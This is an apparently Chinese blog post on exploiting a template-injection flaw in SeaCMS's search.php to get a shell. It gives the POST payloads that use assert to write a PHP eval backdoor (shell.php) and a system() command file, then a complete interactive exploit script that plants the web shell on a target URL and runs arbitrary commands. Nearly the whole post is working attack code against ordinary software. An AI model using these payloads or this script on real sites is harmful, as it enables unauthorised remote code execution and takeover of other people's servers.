Wker_TestLangue EXP编写(Seacms GetShell)

漏洞分析

拿个seacms的getshell吧,网上虽然有payload,但是貌似都是到phpinfo就停止了的。

所以我就下载下来自己去复现。

http://www.seacms1.com/search.php

POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

phpinfo那个地方修改成自己的函数,理论上来说这样就可以了,我们就可以改成自己的马了,但是不巧的是order参数多了一个addslashes函数,所以会稍微麻烦一些。

主要的思路是使用断言,然后传递个没有过滤的参数进去就可以了,所以可以构造下面的payload:

searchtype=5&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("shell.php","w"),'<?php @eval($_POST['test']); ?>')

但是改成一句话的时候又出现了问题,不知道是他做了啥过滤还是啥(没仔细去看),反正cmd参数里面有个$($_POST['test'])这个就是不行,很麻烦,所以最后不得不间接执行一下了,所以我给出一个最终的payload:

  1. 首先先写入payload:

    1. searchtype=5&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("shell.php","w"),'<?php @eval(fread(fopen("shell.txt","r"),filesize("shell.txt"))); ?>')
      
    2. 这个是可以上传上去的,原理是我们不要$,而是执行的代码放在shell.txt里面

  2. 写入shell.txt我们想要执行的php语句

  3. 最后访问shell.php

这样子做就是动作有点大,但是勉勉强强满足了getshell的要求

exp的编写

上传shell

首先是先上传我们的shell.php:

#define getshellpayload = searchtype=5&order=%7D%7Bend%20if%7D%7Bif%3A1%29print%5Fr%28%24%5FPOST%5Bfunc%5D%28%24%5FPOST%5Bcmd%5D%29%29%3B%2F%2F%7D%7Bend%20if%7D&func=assert&cmd=fwrite%28fopen%28%22shell.php%22%2C%22w%22%29%2C%27%3C%3Fphp%20%40eval%28fread%28fopen%28%22shell.txt%22%2C%22r%22%29%2Cfilesize%28%22shell.txt%22%29%29%29%3B%20%3F%3E%27%29

function GetShell(url){
	return HttpPost(url."/search.php",getshellpayload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
}

这个就是简单的post请求,将结果数组返回回去,目的是为了判断是否写入了shell.php。

上传shell.txt

#define injectionTxtpayloadqian = searchtype=5&order=%7D%7Bend%20if%7D%7Bif%3A1%29print%5Fr%28%24%5FPOST%5Bfunc%5D%28%24%5FPOST%5Bcmd%5D%29%29%3B%2F%2F%7D%7Bend%20if%7D&func=assert&cmd=fwrite%28fopen%28%22shell.txt%22%2C%22w%22%29%2C%27system%28%22
#define injectionTxtpayloadhou = %22%29%3B%27%29
function injectionTxt(url,cmd){
	return HttpPost(url."/search.php",injectionTxtpayloadqian.URLEncode(cmd).injectionTxtpayloadhou,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
}

这个也是同理,post请求,将我们想要之后的cmd拼接进去,然后得到shell.txt

查看结果

function GetRes(url){
	res = HttpGet(url."/shell.php","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
	return res[0];
}

请求shell.php,将得到的页面结果返回回去。

执行逻辑

function main(args)
{
	print("请输入要测试的URL:");
	webUrl = input();
	res = GetShell(webUrl);
	if(StrFindStr(res[1],"200 OK",0) == "-1"){
		print("getshell失败");
		return "";
	}
	while(1 == 1){
		print("请输入要执行的命令(输入exit退出)");
		cmd = input();
		if(cmd == "exit"){
			break;
		}
		injectionTxt(webUrl,cmd);
		print(GetRes(webUrl));
	}
	
}

先得到shell,如果没得到的话呢就直接返回,如果得到的话呢就输入执行的命令,然后注入到shell.txt里面,最终得到结果。

完整代码

#define getshellpayload = searchtype=5&order=%7D%7Bend%20if%7D%7Bif%3A1%29print%5Fr%28%24%5FPOST%5Bfunc%5D%28%24%5FPOST%5Bcmd%5D%29%29%3B%2F%2F%7D%7Bend%20if%7D&func=assert&cmd=fwrite%28fopen%28%22shell.php%22%2C%22w%22%29%2C%27%3C%3Fphp%20%40eval%28fread%28fopen%28%22shell.txt%22%2C%22r%22%29%2Cfilesize%28%22shell.txt%22%29%29%29%3B%20%3F%3E%27%29
#define injectionTxtpayloadqian = searchtype=5&order=%7D%7Bend%20if%7D%7Bif%3A1%29print%5Fr%28%24%5FPOST%5Bfunc%5D%28%24%5FPOST%5Bcmd%5D%29%29%3B%2F%2F%7D%7Bend%20if%7D&func=assert&cmd=fwrite%28fopen%28%22shell.txt%22%2C%22w%22%29%2C%27system%28%22
#define injectionTxtpayloadhou = %22%29%3B%27%29
function injectionTxt(url,cmd){
	return HttpPost(url."/search.php",injectionTxtpayloadqian.URLEncode(cmd).injectionTxtpayloadhou,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
}
function GetShell(url){
	return HttpPost(url."/search.php",getshellpayload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
}
function GetRes(url){
	res = HttpGet(url."/shell.php","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
	return res[0];
}
function main(args)
{
	print("请输入要测试的URL:");
	webUrl = input();
	res = GetShell(webUrl);
	if(StrFindStr(res[1],"200 OK",0) == "-1"){
		print("getshell失败");
		return "";
	}
	while(1 == 1){
		print("请输入要执行的命令(输入exit退出)");
		cmd = input();
		if(cmd == "exit"){
			break;
		}
		injectionTxt(webUrl,cmd);
		print(GetRes(webUrl));
	}
	
}

看一下最终的执行结果:

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